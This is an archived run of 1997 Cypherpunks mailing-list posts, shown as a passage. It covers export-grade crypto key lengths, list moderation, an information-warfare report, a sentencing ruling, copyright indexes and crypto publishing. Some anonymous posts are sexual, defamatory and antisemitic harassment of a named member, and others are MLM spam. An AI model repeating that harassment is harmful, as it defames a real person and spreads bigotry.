dictionary attack. The smarter approach means that the algorithm's
full key length gets used.

So, for example, you have 128 bit RC4 in which 88 bits are random but
disclosed while the remaining 40 bits are still secret.

The only practical problem is disclosure of the extra random bits,
which the government expects the software to do. This is one of the
uses of the big chunks of random data that host exchange in SSL V3.
In earler SSLs they built the disclosed bits right into the protocol,
an explicit field for disclosing part of the key.

Rick.
smith@sctc.com          secure computing corporation




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 7 Jan 1997 14:31:33 -0800 (PST)
To: jya@pipeline.com (John Young)
Subject: Re: FTC Online Privacy Report
In-Reply-To: <1.5.4.32.19970107133736.00682ea0@pop.pipeline.com>
Message-ID: <199701072247.QAA02872@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> The Federal Trade Commission released yesterday:
>   The Federal Trade Commission, which last year held a conference 
>   on privacy issues, said participants at the gathering agreed that 
>   businesses have four ways to protect consumer privacy:
>   -- Notify consumers about how personal information collected online is
>   used.
>   -- Give consumers a choice about whether and how their personal
>   information is used.
>   -- Ensure the security of personal information is protected.
>   -- Give consumers access to their own personal information to ensure its
>   accuracy.

     Anyone willing to place a bet on how many companies will implement A,B, 
and D, and implement C so that it benefits the consumer, rather than just 
protects a valuable mailing list from theft? 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: express@capella.net
Date: Tue, 7 Jan 1997 13:44:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: NEW
Message-ID: <199701072150.QAA23479@capella.net>
MIME-Version: 1.0
Content-Type: text/plain


  THE FOX FIRES HAVE STARTED BURNING!

http://www.mlmers-ad-net.com/FoxTeam/Fox

FREE WEB PAGE AND CHECKS SENT OUT DAILY!

Let it begin,
John





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 7 Jan 1997 17:47:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Zero-knowledge commit
Message-ID: <199701080058.QAA18393@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy C[retin] May the self-admitted child 
molester possesses a rudimentary dick less than 
one inch long, half the size of his mother's 
clitoris, that barely makes a fistful. Thereby 
hangs the root of this Jew-hating sissy's sick 
fixation on little boys and Usenet forgeries.

           .
           |___
          (}o o{)
       -ooO-(_)-Ooo- Timmy C[retin] May





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: miner <miner333@xroads.com>
Date: Tue, 7 Jan 1997 16:01:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [CRYPTO] Quadratic residues
Message-ID: <2.2.32.19970108000024.006cfb90@xroads.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:37 PM 1/7/97 -0500, Anonymous wrote:
>Timothy May's family tree goes straight up. All of his 
>ancestors were siblings, to dumb to recognize each other in the 
>dark.
>
>       /\ o-/\  Timothy May
>      ///\|/\\\
>     /   /|\   \

Counting the days till I don't have to see anymore of these, certainly a
product of one of the 3 people already in my killfile.

Thank you John and Sandy in advance





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Tue, 7 Jan 1997 14:52:49 -0800 (PST)
To: anonymous@miron.vip.best.com
Subject: Re: your mail
In-Reply-To: <199701071855.KAA05718@miron.vip.best.com>
Message-ID: <199701072308.RAA02919@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


> Citing a specific example, the DSB report said one building in Savannah, 
Ga., (a Bell South switching facility, FCW learned) houses not only a
> vital communications hub but information technology systems supporting 
key electric power and transportation companies. Because Savannah
> serves as a vital port of embarkation for Army troops based in that area, 
an IW attack against that one building would "make it impossible to
> deploy military forces at the pace specified in operations plans." 

     Then again so would a decent breifcase bomb. 
 
> These recommendations included a controversial call for the Pentagon to have 
the legal power to protect nongovernmental portions of the
                   ^^^^^^^

    Someone mispelled "Take Over". 

> infrastructure in the name of "the common defense." To defend DOD and i
critical nongovernmental systems against IW, the report recommends
> new legal authority that will allow "DOD, law enforcement and intelligence 
agencies to conduct efficient, coordinated monitoring of attacks on the
> critical civilian information infrastructure...." 

     I would bet that with the possible execption of TEMPEST (and I doubt
even then) private industry could do the job cheaper, and more thoroughly 
than the DOD.  
 
> In carving out a position for DOD to take on this role in the civil sector,i
the report bluntly summed up the problem: "We should not forget
> information warfare is a form of warfare, not a crime or an act of terror." 
It took an equally blunt approach on how the Pentagon should respond
> to such an attack or intrusion. "The response could entail civil or criminal 
prosecution, use of military force...diplomatic initiatives or economic
> mandates." 

      Seig Heil 


> to surviving willful malicious attack, or detecting and eliminating corrupt software." 

     As opposed to a benevolent attack? or maybe a friendly attack? 

> "For them to blatantly say, `We want to monitor,' that creates a huge problem," he said. "If the government says, `You don't worry, private sector,
> we're going to take care of you,' they're going to have a problem."

     Hmmm.... I must have taken a wrong turn somewhere. I thought this was 
america, land of the free. Can anyone give me directions on how to get there
from here...

Petro, Christopher C.
petro@suba.com <prefered for any non-list stuff>
snow@smoke.suba.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owner-cypherpunks
Date: Tue, 7 Jan 1997 17:34:57 -0800 (PST)
Subject: Get Quick Results!
Message-ID: <19970108012628.AAG27235@Panton.delta.net>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 7 Jan 1997 21:11:05 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Inflation-index bonds and private e-currency
In-Reply-To: <199701062213.XAA20921@internal-mail.systemics.com>
Message-ID: <32D2F907.2748@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Gary Howland wrote:
> > But digital currencies will never become fiat currencies, let alone legal
> > tender, unless governments say they are.  So why should they worry?  (OK, OK,
> > they will worry about tax evasion etc. etc.) 
> Exactly. How can they claim, on one hand, that something does not
> qualify as currency, or as legal tender, and then turn around and tax
> it? If I have 10 Million UNITS that aren't considered to legally be of
> value, then I'm certainly not going to 'go easy' to tax court.
> Any currency that becomes sufficiently distributed and traded will
> find itself becoming a 'legal entity' in some form or another. Once it
> has been 'entityenized' (don't bother looking for that word in the
> dictionary), it will be a short step for it to achieve a quantifiable
> status among other currencies.  [snip]

One should always look at the Mike Milken example of an alternate
currency.  This has not been reported from this point of view in, say,
the NY Times that I know of, but some "underground" publications have
done so.

The Wall Street Cabal (as they say) was genuinely frightened that since
Milken was so successful with high-yield bonds, they deliberately created
the term Junk Bonds and flooded the markets with appropriate propaganda,
and thereby killed off their competition.  How they turned it into a
criminal offense is truly an art.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 7 Jan 1997 16:30:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment in Jan
In-Reply-To: <199701071926.NAA00355@manifold.algebra.com>
Message-ID: <FZN7ZD3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


This is an example of soc.culture.russian.moderated traffic.

This is what Armenian forgers want.

From: ivan@manifesto.nihonkai.jp (Ivan Zimogorov)
Newsgroups: soc.culture.russian,soc.culture.russian.moderated
Subject: Re: Where can I find extensions for Russian TeX?
Message-ID: <5535100AXW.0AXX091996@manifesto.Nihonkai.jp>
Date: Sun, 3 Nov 1996 18:16:18 CST
References: <199611032246.QAA13585@manifold.algebra.com>
Organization: Bacterial Bee Peekers
Lines: 38
Approved: SCRM Approval Key <scrm-approval-key@algebra.com>
X-SCRM-Policy: http://www.algebra.com/~ichudov/usenet/scrm/index.html
X-SCRM-Info-1: Send submissions to             scrm@algebra.com
X-SCRM-Info-2: Send technical complaints to    scrm-admin@algebra.com
X-SCRM-Info-3: Send complaints about policy to scrm-board@algebra.com
X-Comment: moderators do not necessarily agree or disagree with this article.
X-Robomod-Version: STUMP 1.1, by ichudov@algebra.com (Igor Chudov)
X-No-Archive: yes
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Auth: PGPMoose V1.1 PGP soc.culture.russian.moderated

(0) Go to your Linux CD, change directory to where your tex is;
(1) cd ./lib/texmf/mf; grep -i vulis *

  It should print out "cyrti.mf:% I wouldn't even know the real one
  existed were it not for Dimitri Vulis"

(2) you're on your own now :)

Igor Chudov <ichudov@algebra.com> wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
>
> Newsgroups: soc.culture.russian,soc.culture.russian.moderated
> Subject: Where can I find extensions for Russian TeX?
> Date: Sun Nov  3 16:45:13 CST 1996
>
> subj sez it all.
>
> thank you
>
> igor
>
> -----BEGIN PGP SIGNATURE-----
> Version: 2.6.2
>
> iQCVAwUBMn0grMJFmFyXKPzRAQGG7gP/ZmD+zgkBXkM5l0dzwmi8kvwAdUbh5/uy
> /sCqBTvLVApgsgRKylnVp/lUvOhLW/pR0r3Oh4pFYFk3DT5aHtefAymxlBbcWQjP
> C+HC7NPricd0oRcwsUmNzVfcQ8ki5BujMvYLibbEu8cH7FxnSE7QxFheINGvovg5
> pTCOuuYz3UM=
> =aEEb
> -----END PGP SIGNATURE-----
>
                  _
                  /
Ivan Zimogorov, _/\_ pupil of deliverance


========================================= MODERATOR COMMENT
MOD: The right file is _usr_local_tex_texmf_doc_help_TeX-index . Thanks. Igor.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 16:46:50 -0800 (PST)
To: cypherpunks@toad.com
Subject: Moderation and the Polymorphic Virus
Message-ID: <32D3044B.45D6@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Perhaps with proper moderation, having access to a cloistered
environment without all of the 'noise', cypherpunks will be able
to come up with a true polymorphic virus that will make the Atom
Bomb look like a child's toy.
  The rabble who rant on endlessly about 'social issues' can 
surely not be trusted to contribute anything of value on what
are, in fact, merely a question of 'numbers'.
  It is up the the elite, the code writers, to lead the cypher-
punks into a New World Order, in which the results of cryptography
are only used for proper, approved purposes.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 16:46:53 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: A vote of confidence for Bending Over
In-Reply-To: <Pine.SUN.3.94.970106015521.18277A-100000@polaris>
Message-ID: <32D30781.3CC8@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:

> 2. The only possible scheme that could work long-term would be a moderated
>    list plus a deleted (excised?) list of posts which didn't make the
>    moderator's cut.

Dale,
 I love your attitude, and I enjoy many of your posts.  I also love
being
able to laugh at you for getting sucked into the oldest trick in the
book.
 In the ruins of Rome, you will find a Chariot Dealership which sold
both
Pontiac and Chevy Chariots. Once they had you on their sales lot, they 
would attempt to get you sucked into a mindset where your choices were
limited to choosing between 'their' chariots.
  Our political sytem is a grand 'play' in which the Democrats and the
Republicans 'contend' to see who gets to slip us the cold, hard one.
The bottom line, is that what is dripping out of your butt is either
a Democrat's sperm and a Republican's saliva, or vice-versa.

>    Having a moderated list and a full unmoderated list
>    is certain to fail, and I'm not too sure that they don't have this in
>    mind already.

  Have I misjudged you?
  Could it possibly be that you can still hear the small whisper in the 
wind that warns you that it's all done with mirrors?
  "Believe nothing of what you hear, only half of what you see, and if
you
meet the Buddha on the road, kill him!"
   Bubba Rom Dos

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Black Unicorn <unicorn@schloss.li>
Date: Tue, 7 Jan 1997 15:35:57 -0800 (PST)
To: Dale Thorn <dthorn@gte.net>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <32D1E39F.44A9@gte.net>
Message-ID: <Pine.SUN.3.94.970107183351.8693B-100000@polaris>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 6 Jan 1997, Dale Thorn wrote:

> You must be in bed with Sandfort.

Disappointed?

--
Forward complaints to : European Association of Envelope Manufactures
Finger for Public Key   Gutenbergstrasse 21;Postfach;CH-3001;Bern
Vote Monarchist         Switzerland





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 7 Jan 1997 18:47:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: If guilty of a lesser crime, you can be sentenced for a greater
Message-ID: <Pine.GSO.3.95.970107184550.4939C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Tue, 7 Jan 1997 18:44:07 -0800 (PST)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: If guilty of a lesser crime, you can be sentenced for a greater

The Supreme Court ruled on this sentencing case yesterday. Kennedy and
Stevens -- hardly known as civil libertarians -- dissented. The Court
reversed the 9th Circuit, ruling the lower court was wrong to say that
such a practice "would make the jury's findings of fact pointless." The
court declared: "Sentencing enhancements do not punish a defendant for
crimes of which he was not convicted, but rather increase his sentence
because of the manner in which he committed the crime of conviction."

Double jeopardy? What's that?

Of course it was a drug crime. The defendant, Vernon Watts, was convicted
of cocaine possession with intent to distribute. To paraphrase another
saying: "'Drug Trafficking Offense' is the root passphrase to the
Constitution."

-Declan

---------- Forwarded message ----------
Date: Tue, 7 Jan 1997 17:41:35 -0800
From: Jim Warren <jwarren@well.com>
Sender: owner-fight-censorship@vorlon.mit.edu

Did you read about the U.S. Supreme Court's recent decision?

Seems they decided it was acceptable for a judge to use crimes for which a
jury has found a defendent *NOT guilty*, to justify imposing greater
penalties than the judge could otherwise, for a lesser crime for which the
jury found the defendent guilty.  (It's quite common to prosecute someone
for multiple crimes, and have the jury find them innocent of some charges,
but guilty of others.) 

Now, all a judge has to do is opine that, in his or her unilateral opinion,
there is a "preponderance of evidence" of guilt of the more serious crime
-- in spite of the unanimous finding by every member of the jury, that the
defendent is NOT guilty of that crime, beyond a reasonable doubt.

The Supreme's *unsigned* 7-2 opinion says than a finding of NOT guilty,
"does not prove that the defendent is innocent; it *merely* proves the
esistence of a reasonable doubt as to his guilt."  [I.e., all U.S. citizens
now risk being penalized as theough they are guilty, unless they can PROVE
they're innocent!]


Much worse, the basis for *criminal* guilt and associated penalties --
charged, prosecuted and imposed using the massive powers and resources of
the State -- has now functionally changed from proof "beyond a reasonable
doubt," to the much lesser standard of, "preponderance of evidence," which
used to be limited only to civil litigation prosecuted between private
attorneys for feuding plaintiffs.

Who says the practices of the Third Reich didn't survive!?

--jim, Amerikan citizen
Jim Warren (jwarren@well.com)
GovAccess list-owner/editor, advocate & columnist (Govt.Technology, MicroTimes)
345 Swett Rd., Woodside CA 94062; voice/415-851-7075; fax-for-the-quaint/<ask>

[Also blind-cc'ed to others.]








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 7 Jan 1997 21:11:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: [STATS] Cypherpunks subscriptions on and off
Message-ID: <32D30EFB.5F8@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


The following table shows cypherpunks subscription activity
for the period 12 Oct 1996 thru 07 January 1996.

Date    ~Days   #Subs   Gain   Loss   Gain / day   Loss / day
-----   -----   -----   ----   ----   ----------   ----------
10/12     n/a    1361    n/a    n/a          n/a          n/a
11/04      23    1353    211    219          9.2          9.5
11/30      26    1299    173    227          6.7          8.7
12/18      18    1262    120    157          6.7          8.7
01/07      20    1291    151    122          7.6          6.1
        -----   -----   ----   ----   ----------   ----------
Totals:    87            655    725          7.5          8.3

Interpretation:

Unless the reversal of gain/loss in the 5th data row is permanent,
c-punks are losing 0.8 bodies per day, or 294 subscribers per year.

Actually, the constant high turnover suggests something else:
Many people join the list and get back off again due to the high
volume and their own personal time constraints.  Unless Sandy can
cut *way* back on the number of posts to the list, i.e. excise a *lot*
more postings than just the blatant Spam and "Timmy is a....." posts,
it won't make any difference to those people who come and go.

In effect, Sandy is going to have to cut the number of daily posts
(to the moderated list) from, say, 100 per day down to, say, 20 or
25 per day.  This would certainly be a goal of his, since most of the
subscriber comments I've heard indicate that even 50 posts per day of
"relevant political/social commentary" is way too high for them.

As to the net loss in subscribers, the moderation of the list could
have a substantial effect on the number of subscribers short-term,
but whatever trend we have here will continue regardless, since the
real value and character of the list is not determined by the posts
which are removed (unless it were that some of the character and value
is going to be removed), but by long-term factors which are to be
expected when the principals get older, less involved, and less
contentious (like Sandy, wanting to avoid conflict).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 21:31:40 -0800 (PST)
To: anonymous@miron.vip.best.com
Subject: Re: Information Warfare
In-Reply-To: <199701071855.KAA05718@miron.vip.best.com>
Message-ID: <32D321CB.463B@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


anonymous@miron.vip.best.com wrote:
> NOVEMBER 11, 1996 
> INFORMATION WARFARE
> U.S. sitting duck, DOD panel predicts
> BY BOB BREWIN AND HEATHER HARRELD (antenna@fcw.com and heather_harreld@fcw.com)
> 
> The dependence of the United States on computers and communications systems to run 
> its critical power, finance and transportation systems
> places the country at risk in the event of an information warfare (IW) attack, 
> according to a report prepared by a top-level Defense Department
> advisory panel.

  Sounds like we're going to need some strong legislation and
restrictive 
regulations to deal with this problem...

> These recommendations included a controversial call for the Pentagon to 
> have the legal power to protect nongovernmental portions of the
> infrastructure in the name of "the common defense."

  Hey, am I goddamn psychic, or what?

> To defend DOD and critical nongovernmental systems against IW, the report
> recommends new legal authority that will allow "DOD, law enforcement and
> intelligence agencies to conduct efficient, coordinated monitoring of 
> attacks on the critical civilian information infrastructure...."

  Moderation of the CypherPunks forum is a start. Let's just hope that
it doesn't stop there.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 7 Jan 1997 18:07:19 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fed Study on Identity Theft
Message-ID: <v03007860aef8a8e2c333@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Tue, 7 Jan 1997 18:59:00 -0500 (EST)
To: Multiple Recipients of e$pam <e$pam@intertrader.com>
From: e$pam@intertrader.com (e$pam)
Reply-To: e$@thumper.vmeng.com
X-Comment: To unsubscribe, send any email to e$pam-off@intertrader.com
Precedence: Bulk
Subject: Fed Study on Identity Theft
X-orig-from: jmuller@brobeck.com (John D. Muller)
X-e$pam-source: Various

Forwarded by Robert Hettinga

-----------------------------------------------------------------------
Mime-Version: 1.0
 Date: Tue, 7 Jan 1997 12:00:09 -0800
 From: jmuller@brobeck.com (John D. Muller)
 Subject: Fed Study on Identity Theft
 To: rah@shipwright.com


     I unsubscribed from e$pam over the holidays, so this item may already
      have been on, but if not it might be of interest:

      As required by legislation passed last year (partly in response to the
      P-TRAK fiasco), the Fed is required to study whether institutions that
      are not subject to the Fair Credit Reporting Act are making sensitive
      personal identifying information available to the public, whether such
      information creates undue potential for fraud and for risk of loss to
      banks, and whether legislation is needed to address the risk of fraud
      and loss.  The Fed has recently published a request for comments on
      these issues.  Comments are due by January 31.  The Fed release is at

      http://www.bog.frb.fed.us/boarddocs/press/BoardActs/1996/19961223



      Have a happy, prosperous and reputation-enhancing 1997.



--------------------------------------------------
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--- end forwarded text



-----------------
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"The cost of anything is the foregone alternative" -- Walter Johnson
The e$ Home Page: http://www.vmeng.com/rah/
FC97: Anguilla, anyone? http://offshore.com.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 21:31:49 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Mein Kampf/Cypherpunks
In-Reply-To: <0k46ZD2w165w@bwalk.dm.com>
Message-ID: <32D32318.2D08@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:

> Yes - have you read _Mein Kampf? I once posted an article showing a
> great similarity between what Hitler advocated in 1926 and what the
> "cypher punks" advocate now - just some quotes in parallel.

Doc,
 If you still have a copy of that, I would appreciate it if you could
forward a copy to me.
  (I just checked my paranoia level, and I'm a quart low.)

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: anonymous@miron.vip.best.com
Date: Tue, 7 Jan 1997 21:05:32 -0800 (PST)
To: cypherpunks@toad.com
Subject: re: Free Money!
Message-ID: <199701080457.UAA09570@miron.vip.best.com>
MIME-Version: 1.0
Content-Type: text/plain


Thanks for the dough!

I just love cyber technology.  Will spend it wisely.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Tue, 7 Jan 1997 21:31:59 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: At the risk of getting flamed :)
In-Reply-To: <uqT6ZD13w165w@bwalk.dm.com>
Message-ID: <32D32AFD.4ECA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> I find it indicative that what I call outing a well-known and widely 
> abused security hole, you call abuse.

  The CyberDweebs at plaidworks.com also seemed to take great offense
at my pointing out that what they called 'loopholes' in their system
was actually a conscious, calculated decision to leave their system
open to abuse so that every computer-illiterate Laker fan named 
Bubba could use his two-fingered typing skills to subscribe to
1,000 sports lists.

> I also happen to have done a lot to bring
> computer networks and privacy technology to places and people who still
> wouldn't have had it otherwise - perhaps more than any "cypher punk".

  Much of what you do goes unnoticed, due to the fact that many who 
make the same claims put you in their killfile.  It seems that they 
are only in favor of 'politically correct' technology, without any
social issues input or commentary.

> I think Dale Thorn hit the nail right on the head when he described "cypher
> punks" as security people.  They want privacy
> technology only for their paying customers, and only if the customers
> use it "responsibly", i.e. don't say something the 'punks find objectionable.

  I've attended punk-rock concerts where some of the 'punks' complained
loudly and vociferously about the slam-dancers.
  "Hey, that guy 'bumped' me."
  "Somebody could get hurt."
  "Who do they think they are?"  ('Punks", perhaps?)

> People who voluntarily submit to censorship by Sandy deserve pity.

  Or deserve 'censorship'.

Toto






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Tue, 7 Jan 1997 18:18:47 -0800 (PST)
To: cypherpunks@toad.com
Subject: Free Money!
Message-ID: <199701080218.VAA14717@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


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-----END ECASH PAYMENT-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 7 Jan 1997 21:29:24 -0800 (PST)
To: Black Unicorn <unicorn@schloss.li>
Subject: Re: A vote of confidence for Sandy
In-Reply-To: <Pine.SUN.3.94.970107183351.8693B-100000@polaris>
Message-ID: <32D3304F.4E22@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Black Unicorn wrote:
> On Mon, 6 Jan 1997, Dale Thorn wrote:
> > You must be in bed with Sandfort.

> Disappointed?

Not really.  I saw the pictures of his last party.  He's kinda creepy
looking.  OK for Hollywood, probably.

I'm beginning to wonder if Sandfort is taking over Gilmore's identity.
Not that I believe any of the rumours, it's just that there are peculiar
things happening at the Toad lately....





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 7 Jan 1997 21:41:59 -0800 (PST)
To: Douglas Barnes <cman@c2.net>
Subject: Re: Thoughts on moderation
In-Reply-To: <3.0.32.19970107152545.00e858bc@gabber.c2.net>
Message-ID: <32D3334B.7FD9@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Douglas Barnes wrote:
> Goodness knows most people who are fully engaged in a mailing list
> get involved in an unproductive discussion or argument from time to
> time. My main assertion about Sandy is that although he has his likes
> and dislikes (and is not shy about sharing them) I can't see him
> bouncing messages just because someone was disagreeing with him. There
> might be someone who is less opinionated, but I think that you need
> to find someone who cares enough about a subject to be interested in
> moderating it (one antonym of "opinionated" is "dispassionate" --
> think about it.)
> The only way to tell if Sandy will be fair _as a moderator_ is to
> give him a chance.  [snip]

Gee, Doug.  You think he's fair and I don't.  Is that enough consensus
to say "let's give it a shot"?  I don't think so.

Moot point anyway, since there was no prior discussion on the list.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 7 Jan 1997 22:56:36 -0800 (PST)
To: Vin McLellan <cypherpunks@toad.com
Subject: Re: Relative Strength of 40-bit Crypto Implementations
In-Reply-To: <3.0.32.19970107003544.006c2808@192.100.81.126>
Message-ID: <v03007821aef8e73f9440@[207.93.129.86]>
MIME-Version: 1.0
Content-Type: text/plain


At 01:29 AM 1/7/97 -0500, Vin McLellan wrote:
>	A client asked me today about where he could find evidence of the
>relative strength of different encryption algorithms, when all are
>restricted to 40-bit keys.  He assumed dot-Gov was going to restrict his
>export product to the 40-bit limit, but he wanted to provide the strongest
>security he could within that limitation.

A cypher with a long key setup schedule, such as Blowfish, would be more
resistant to brute force attacks.  (Blowfish requires 500+ encryptions to
set up the key schedule.  This should be similar to adding 9 bits to the
key size.)  While I think Blowfish is good in this respect, one must be
careful to avoid systems, such as DES, which are subject to Peter Trei's
"gray code" techniques.


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 7 Jan 1997 22:03:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Copyright loophole?
Message-ID: <199701080602.WAA21277@netcom18.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


While doing research at a law library, I came across what appears to be a
legal loop-hole in the copyright law.  It seems a famous author's publisher
had a substantial number of unbound and unsold copies of his works sitting
around.  Another publisher purchased them from his publisher, without the
author's knowledge, and printed an anthology which included an index which
was not part of the purchased (copyrighted) items.

In Kipling vs. G.P. Putnam & Sons (1903, CA2 NY) 120 F 631, the 2nd circuit
found that (from 17 USCS § 501) "Publication of an index to accompany
copyrighted volume of author's work although containing words and phrases
found in text, does not constitute infringement."  From the original
opinion: "They were also at liberty to make and publish an index contained
in their volumes even though the index, as necessary must, contain words
and phrases found in the text."

Q1: Could this decision (which has stood since 1903) support the creation,
storage and distribution of "standalone" on-line indicies to copyrighted
works without infringement?  (I could not find a direct reference to
"fair-use" in the portion of the opinion referencing the index nor a
related ruling, using the 1976 Copyright Act, which overturned the "index'
provision.)

Q2: How much content can an index contain and still not infringe?

Q3: What would be the legal standing of these indicies, or several
unrelated "indexes", if they can jointly (but not separately) be used to
reconstitute the original copyright work by a private citizen?  (Anonymous
index posting, especially via a Ross Anderson style Eternity Service, might
"practically" circumvent government enforcement.)

-- Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Tue, 7 Jan 1997 22:08:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: What about postscript?
Message-ID: <199701080608.WAA05560@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


What if somebody wanted to publish the source code of an encryption
program in book form, but make the book dowloadable freely from an ftp site
using postscript or PDF format. Surely, the government will be
hard pressed to argue the difference between paper media and electronic
media here, since the files downloaded cannot be used to encrypt
or decrypt data, without somebody first typing in the source.

Maybe MIT or PGP should convert at least part of the PGP book
into postscript and then request Commerce Department clearance to
make it publically available. That should make for a nice court battle.

If somebody argues that sophisticated programs can extract the text out of
postscript files, what about providing JPEG images of pages of the book?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mark M." <markm@voicenet.com>
Date: Tue, 7 Jan 1997 19:05:23 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Germany Passes Sweeping Cyberspace Legislation 01/06/97 (fwd)
In-Reply-To: <199701070452.UAA23628@netcom11.netcom.com>
Message-ID: <Pine.LNX.3.95.970107220244.291A-100000@eclipse.voicenet.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 6 Jan 1997 wb8foz@netcom.com wrote:

> The law also prohibits the use of "cookies," software applets that
> trace a user's path across the Internet and recording the data they
> view.
> 
> 	This is, to me!

I haven't had time to search for any more information on the law, but if this
law bans _all_ cookies, then this is just another example of the technological
cluelessness that exists in various governments.  I don't agree with any
restrictions on cookies, but if there are going to be any, then the least they
could do is allow cookies if the HTML page indicates somewhere on it that it
is sending a cookie.  This would prevent companies like "Doubleclick" from
gathering information, but would permit "legitimate" uses.


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 7 Jan 1997 22:58:19 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Sandy and I will run a cypherpunks "moderation" experiment  in Jan
In-Reply-To: <3.0.32.19970107164034.006b6044@mail.io.com>
Message-ID: <v03007822aef8ebe9acd7@[207.93.129.86]>
MIME-Version: 1.0
Content-Type: text/plain


